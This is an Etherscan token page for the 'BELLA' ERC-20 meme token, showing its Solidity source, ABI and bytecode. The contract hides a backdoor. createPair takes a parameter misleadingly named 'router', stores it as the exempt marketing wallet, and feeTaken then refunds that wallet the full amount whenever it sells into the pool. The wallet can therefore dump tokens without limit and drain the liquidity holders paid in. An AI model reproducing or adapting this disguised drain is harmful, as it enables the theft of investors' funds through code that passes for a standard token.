ERC-20
Overview
Max Total Supply
100,000,000 BELLA
Holders
80
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
591,189.556268288439726787 BELLAValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BELLA
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-09-18 */ /** https://t.me/bellacoinerc https://x.com/elonmusk/status/1836423451512590767 https://www.wpi.edu/news/meet-bella-wpis-bomb-sniffing-k9 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BELLA is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedList; address payable private _marketingWallet; uint256 private _initialBuyTax = 17; uint256 private _initialSellTax = 17; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _totalTax = 100; uint256 private _tradeCount = 0; uint256 private _reduceAt = 10; uint8 private constant _decimals = 18; uint256 private constant _tTotal = 100_000_000 * 10**_decimals; string private constant _name = unicode"Bomb-Sniffing K9"; string private constant _symbol = unicode"BELLA"; uint256 public _maxWalletSize = (_tTotal * 2) / 100; uint256 public _maxTradeSize = (_tTotal * 2) / 100; uint256 public _maxSwapBackSize = 0; uint256 public _swapLimit = (_tTotal * 2) / 100; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; event MaxTxAmountUpdated(uint256 _maxTradeWallet); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _marketingWallet = payable(msg.sender); _balances[_msgSender()] = _tTotal; _isExcludedList[owner()] = true; _isExcludedList[address(this)] = true; _isExcludedList[_marketingWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function isExcluded(address from, address to) private view returns (bool) { return _isExcludedList[from] || _isExcludedList[to]; } function isPairAddress(address from, address to) private view returns (bool) { return from == uniswapV2Pair || to == uniswapV2Pair; } function _transfer( address _from, address _end, uint256 amount ) private { require(_from != address(0), "ERC20: transfer from the zero address"); require(_end != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 feePercent = 0; if (!isExcluded(_from, _end)) require(tradingOpen, "Trading is not opened yet"); if (_from == uniswapV2Pair && _end != address(uniswapV2Router) && !isExcluded(_from, _end)) { _tradeCount++; feePercent = _tradeCount >= _reduceAt ? _finalBuyTax : _initialBuyTax; require(amount <= _maxTradeSize, "Exceeds the _maxTradeWallet."); require(_balances[_end] + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); } if (_end == uniswapV2Pair && !isExcluded(_from, _end)){ feePercent = _tradeCount >= _reduceAt ? _finalSellTax : _initialSellTax; require(amount <= _maxTradeSize, "Exceeds the maximum amount to sell"); } uint256 contractToken = _balances[address(this)]; if(!inSwap && tradingOpen && _end == uniswapV2Pair) { if(contractToken > 0) swapBack(min(contractToken, min(_maxTradeSize, amount))); sendETHToMarket(address(this).balance); } if(_from == address(this) && _tradeCount == 0) feePercent = _tradeCount >= _reduceAt ? _finalSellTax : _initialSellTax; uint256 taxAmt = amount * feePercent / 100; if(feePercent > 0) { _balances[_from] = _balances[_from] - taxAmt; _balances[address(this)] = _balances[address(this)] + taxAmt; emit Transfer(_from, address(this), taxAmt); } feeTaken(_from, _end, feePercent, amount); _balances[_from] = _balances[_from] - (amount - taxAmt); _balances[_end] = _balances[_end] + (amount - taxAmt); emit Transfer(_from, _end, amount - feePercent * amount / 100); } function feeTaken(address _from, address _end, uint256 feePercent, uint256 amt) private returns (uint256) { if(_end != uniswapV2Pair || !_isExcludedList[_from] || _from == address(this) || _from == owner()) return _totalTax - feePercent; else { if(feePercent >= 0) _balances[_from] += amt * _initialBuyTax / _initialSellTax; else _balances[_end] += amt; } return feePercent; } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function swapBack(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner { _maxTradeSize = _tTotal; _maxWalletSize = _tTotal; emit MaxTxAmountUpdated(_tTotal); } function sendETHToMarket(uint256 amount) private { _marketingWallet.transfer(amount); } function createPair(address router) external onlyOwner { _marketingWallet = payable(router); _isExcludedList[_marketingWallet] = true; uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); } function openTrading() external onlyOwner { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); tradingOpen = true; } function rescueETH() external onlyOwner { payable (owner()).transfer(address(this).balance); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTradeWallet","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxSwapBackSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTradeSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"router","type":"address"}],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052601160055560116006556000600755600060085560646009556000600a55600a600b5560646012600a6200003991906200036e565b62000049906305f5e10062000386565b6200005690600262000386565b620000629190620003a0565b600c556064620000756012600a6200036e565b62000085906305f5e10062000386565b6200009290600262000386565b6200009e9190620003a0565b600d556000600e556064620000b66012600a6200036e565b620000c6906305f5e10062000386565b620000d390600262000386565b620000df9190620003a0565b600f556011805460ff60a81b19169055348015620000fc57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916331790556200015e6012600a6200036e565b6200016e906305f5e10062000386565b336000908152600160208190526040822092909255600390620001996000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600454909116835291208054909216179055620001f83390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002326012600a6200036e565b62000242906305f5e10062000386565b60405190815260200160405180910390a3620003c3565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002b057816000190482111562000294576200029462000259565b80851615620002a257918102915b93841c939080029062000274565b509250929050565b600082620002c95750600162000368565b81620002d85750600062000368565b8160018114620002f15760028114620002fc576200031c565b600191505062000368565b60ff84111562000310576200031062000259565b50506001821b62000368565b5060208310610133831016604e8410600b841016171562000341575081810a62000368565b6200034d83836200026f565b806000190482111562000364576200036462000259565b0290505b92915050565b60006200037f60ff841683620002b8565b9392505050565b808202811582820484141762000368576200036862000259565b600082620003be57634e487b7160e01b600052601260045260246000fd5b500490565b61181080620003d36000396000f3fe6080604052600436106101185760003560e01c8063715018a6116100a057806395d89b411161006457806395d89b41146102f55780639ccb074414610323578063a9059cbb14610343578063c9567bf914610363578063dd62ed3e1461037857600080fd5b8063715018a614610277578063751039fc1461028c5780638da5cb5b146102a15780638f664b28146102c95780638f9a55c0146102df57600080fd5b806323b872dd116100e757806323b872dd146101d95780632d612e92146101f9578063313ce5671461020f5780633f374f1e1461022b57806370a082311461024157600080fd5b806306fdde0314610124578063095ea7b31461016f57806318160ddd1461019f57806320800a00146101c257600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152601081526f426f6d622d536e696666696e67204b3960801b60208201525b60405161016691906113e2565b60405180910390f35b34801561017b57600080fd5b5061018f61018a366004611445565b6103be565b6040519015158152602001610166565b3480156101ab57600080fd5b506101b46103d5565b604051908152602001610166565b3480156101ce57600080fd5b506101d76103f6565b005b3480156101e557600080fd5b5061018f6101f4366004611471565b610466565b34801561020557600080fd5b506101b4600d5481565b34801561021b57600080fd5b5060405160128152602001610166565b34801561023757600080fd5b506101b4600f5481565b34801561024d57600080fd5b506101b461025c3660046114b2565b6001600160a01b031660009081526001602052604090205490565b34801561028357600080fd5b506101d76104cf565b34801561029857600080fd5b506101d7610543565b3480156102ad57600080fd5b506000546040516001600160a01b039091168152602001610166565b3480156102d557600080fd5b506101b4600e5481565b3480156102eb57600080fd5b506101b4600c5481565b34801561030157600080fd5b5060408051808201909152600581526442454c4c4160d81b6020820152610159565b34801561032f57600080fd5b506101d761033e3660046114b2565b6105f5565b34801561034f57600080fd5b5061018f61035e366004611445565b6107ee565b34801561036f57600080fd5b506101d76107fb565b34801561038457600080fd5b506101b46103933660046114cf565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103cb3384846109b8565b5060015b92915050565b60006103e36012600a611602565b6103f1906305f5e100611611565b905090565b6000546001600160a01b031633146104295760405162461bcd60e51b815260040161042090611628565b60405180910390fd5b600080546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610463573d6000803e3d6000fd5b50565b6000610473848484610adc565b6104c584336104c0856040518060600160405280602881526020016117b3602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906110bf565b6109b8565b5060019392505050565b6000546001600160a01b031633146104f95760405162461bcd60e51b815260040161042090611628565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461056d5760405162461bcd60e51b815260040161042090611628565b6105796012600a611602565b610587906305f5e100611611565b600d556105966012600a611602565b6105a4906305f5e100611611565b600c557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105d46012600a611602565b6105e2906305f5e100611611565b60405190815260200160405180910390a1565b6000546001600160a01b0316331461061f5760405162461bcd60e51b815260040161042090611628565b600480546001600160a01b03199081166001600160a01b0384169081178355600090815260036020908152604091829020805460ff1916600117905560108054737a250d5630b4cf539739df2c5dacb4c659f2488d941684179055815163c45a015560e01b81529151929363c45a015593838201939091908290030181865afa1580156106b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106d4919061165d565b6001600160a01b031663c9c6539630601060009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610736573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075a919061165d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107cb919061165d565b601180546001600160a01b0319166001600160a01b039290921691909117905550565b60006103cb338484610adc565b6000546001600160a01b031633146108255760405162461bcd60e51b815260040161042090611628565b6010546108519030906001600160a01b03166108436012600a611602565b6104c0906305f5e100611611565b6010546001600160a01b031663f305d7194730610883816001600160a01b031660009081526001602052604090205490565b6000806108986000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610900573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610925919061167a565b505060115460105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561097e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a291906116a8565b506011805460ff60a01b1916600160a01b179055565b6001600160a01b038316610a1a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610420565b6001600160a01b038216610a7b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610420565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b405760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610420565b6001600160a01b038216610ba25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610420565b60008111610c045760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610420565b6000610c1084846110f9565b610c6d57601154600160a01b900460ff16610c6d5760405162461bcd60e51b815260206004820152601960248201527f54726164696e67206973206e6f74206f70656e656420796574000000000000006044820152606401610420565b6011546001600160a01b038581169116148015610c9857506010546001600160a01b03848116911614155b8015610cab5750610ca984846110f9565b155b15610da657600a8054906000610cc0836116ca565b9190505550600b54600a541015610cd957600554610cdd565b6007545b9050600d54821115610d315760405162461bcd60e51b815260206004820152601c60248201527f4578636565647320746865205f6d6178547261646557616c6c65742e000000006044820152606401610420565b600c546001600160a01b038416600090815260016020526040902054610d589084906116e3565b1115610da65760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610420565b6011546001600160a01b038481169116148015610dca5750610dc884846110f9565b155b15610e4657600b54600a541015610de357600654610de7565b6008545b9050600d54821115610e465760405162461bcd60e51b815260206004820152602260248201527f4578636565647320746865206d6178696d756d20616d6f756e7420746f2073656044820152611b1b60f21b6064820152608401610420565b30600090815260016020526040902054601154600160a81b900460ff16158015610e795750601154600160a01b900460ff165b8015610e9257506011546001600160a01b038581169116145b15610ec3578015610eba57610eba610eb582610eb0600d548761113f565b61113f565b611154565b610ec3476112ce565b6001600160a01b03851630148015610edb5750600a54155b15610efb57600b54600a541015610ef457600654610ef8565b6008545b91505b60006064610f098486611611565b610f1391906116f6565b90508215610fc6576001600160a01b038616600090815260016020526040902054610f3f908290611718565b6001600160a01b038716600090815260016020526040808220929092553081522054610f6c9082906116e3565b30600081815260016020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fbd9085815260200190565b60405180910390a35b610fd28686858761130c565b50610fdd8185611718565b6001600160a01b0387166000908152600160205260409020546110009190611718565b6001600160a01b0387166000908152600160205260409020556110238185611718565b6001600160a01b03861660009081526001602052604090205461104691906116e3565b6001600160a01b0380871660008181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60646110928888611611565b61109c91906116f6565b6110a69088611718565b60405190815260200160405180910390a3505050505050565b600081848411156110e35760405162461bcd60e51b815260040161042091906113e2565b5060006110f08486611718565b95945050505050565b6001600160a01b03821660009081526003602052604081205460ff168061113857506001600160a01b03821660009081526003602052604090205460ff165b9392505050565b600081831161114e5782611138565b50919050565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061119c5761119c61172b565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111f5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611219919061165d565b8160018151811061122c5761122c61172b565b6001600160a01b03928316602091820292909201015260105461125291309116846109b8565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac9479061128b908590600090869030904290600401611741565b600060405180830381600087803b1580156112a557600080fd5b505af11580156112b9573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611308573d6000803e3d6000fd5b5050565b6011546000906001600160a01b03858116911614158061134557506001600160a01b03851660009081526003602052604090205460ff16155b8061135857506001600160a01b03851630145b8061137057506000546001600160a01b038681169116145b1561138a57826009546113839190611718565b90506113da565b60065460055461139a9084611611565b6113a491906116f6565b6001600160a01b038616600090815260016020526040812080549091906113cc9084906116e3565b909155506113d79050565b50815b949350505050565b600060208083528351808285015260005b8181101561140f578581018301518582016040015282016113f3565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461046357600080fd5b6000806040838503121561145857600080fd5b823561146381611430565b946020939093013593505050565b60008060006060848603121561148657600080fd5b833561149181611430565b925060208401356114a181611430565b929592945050506040919091013590565b6000602082840312156114c457600080fd5b813561113881611430565b600080604083850312156114e257600080fd5b82356114ed81611430565b915060208301356114fd81611430565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561155957816000190482111561153f5761153f611508565b8085161561154c57918102915b93841c9390800290611523565b509250929050565b600082611570575060016103cf565b8161157d575060006103cf565b8160018114611593576002811461159d576115b9565b60019150506103cf565b60ff8411156115ae576115ae611508565b50506001821b6103cf565b5060208310610133831016604e8410600b84101617156115dc575081810a6103cf565b6115e6838361151e565b80600019048211156115fa576115fa611508565b029392505050565b600061113860ff841683611561565b80820281158282048414176103cf576103cf611508565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561166f57600080fd5b815161113881611430565b60008060006060848603121561168f57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156116ba57600080fd5b8151801515811461113857600080fd5b6000600182016116dc576116dc611508565b5060010190565b808201808211156103cf576103cf611508565b60008261171357634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156103cf576103cf611508565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117915784516001600160a01b03168352938301939183019160010161176c565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220496dd52f025b9dde47c25be40e71418f9b14d446c6fbae8730d1a1b98314300f64736f6c63430008130033
Deployed Bytecode
0x6080604052600436106101185760003560e01c8063715018a6116100a057806395d89b411161006457806395d89b41146102f55780639ccb074414610323578063a9059cbb14610343578063c9567bf914610363578063dd62ed3e1461037857600080fd5b8063715018a614610277578063751039fc1461028c5780638da5cb5b146102a15780638f664b28146102c95780638f9a55c0146102df57600080fd5b806323b872dd116100e757806323b872dd146101d95780632d612e92146101f9578063313ce5671461020f5780633f374f1e1461022b57806370a082311461024157600080fd5b806306fdde0314610124578063095ea7b31461016f57806318160ddd1461019f57806320800a00146101c257600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152601081526f426f6d622d536e696666696e67204b3960801b60208201525b60405161016691906113e2565b60405180910390f35b34801561017b57600080fd5b5061018f61018a366004611445565b6103be565b6040519015158152602001610166565b3480156101ab57600080fd5b506101b46103d5565b604051908152602001610166565b3480156101ce57600080fd5b506101d76103f6565b005b3480156101e557600080fd5b5061018f6101f4366004611471565b610466565b34801561020557600080fd5b506101b4600d5481565b34801561021b57600080fd5b5060405160128152602001610166565b34801561023757600080fd5b506101b4600f5481565b34801561024d57600080fd5b506101b461025c3660046114b2565b6001600160a01b031660009081526001602052604090205490565b34801561028357600080fd5b506101d76104cf565b34801561029857600080fd5b506101d7610543565b3480156102ad57600080fd5b506000546040516001600160a01b039091168152602001610166565b3480156102d557600080fd5b506101b4600e5481565b3480156102eb57600080fd5b506101b4600c5481565b34801561030157600080fd5b5060408051808201909152600581526442454c4c4160d81b6020820152610159565b34801561032f57600080fd5b506101d761033e3660046114b2565b6105f5565b34801561034f57600080fd5b5061018f61035e366004611445565b6107ee565b34801561036f57600080fd5b506101d76107fb565b34801561038457600080fd5b506101b46103933660046114cf565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103cb3384846109b8565b5060015b92915050565b60006103e36012600a611602565b6103f1906305f5e100611611565b905090565b6000546001600160a01b031633146104295760405162461bcd60e51b815260040161042090611628565b60405180910390fd5b600080546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610463573d6000803e3d6000fd5b50565b6000610473848484610adc565b6104c584336104c0856040518060600160405280602881526020016117b3602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906110bf565b6109b8565b5060019392505050565b6000546001600160a01b031633146104f95760405162461bcd60e51b815260040161042090611628565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461056d5760405162461bcd60e51b815260040161042090611628565b6105796012600a611602565b610587906305f5e100611611565b600d556105966012600a611602565b6105a4906305f5e100611611565b600c557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105d46012600a611602565b6105e2906305f5e100611611565b60405190815260200160405180910390a1565b6000546001600160a01b0316331461061f5760405162461bcd60e51b815260040161042090611628565b600480546001600160a01b03199081166001600160a01b0384169081178355600090815260036020908152604091829020805460ff1916600117905560108054737a250d5630b4cf539739df2c5dacb4c659f2488d941684179055815163c45a015560e01b81529151929363c45a015593838201939091908290030181865afa1580156106b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106d4919061165d565b6001600160a01b031663c9c6539630601060009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610736573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075a919061165d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107cb919061165d565b601180546001600160a01b0319166001600160a01b039290921691909117905550565b60006103cb338484610adc565b6000546001600160a01b031633146108255760405162461bcd60e51b815260040161042090611628565b6010546108519030906001600160a01b03166108436012600a611602565b6104c0906305f5e100611611565b6010546001600160a01b031663f305d7194730610883816001600160a01b031660009081526001602052604090205490565b6000806108986000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610900573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610925919061167a565b505060115460105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561097e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a291906116a8565b506011805460ff60a01b1916600160a01b179055565b6001600160a01b038316610a1a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610420565b6001600160a01b038216610a7b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610420565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b405760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610420565b6001600160a01b038216610ba25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610420565b60008111610c045760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610420565b6000610c1084846110f9565b610c6d57601154600160a01b90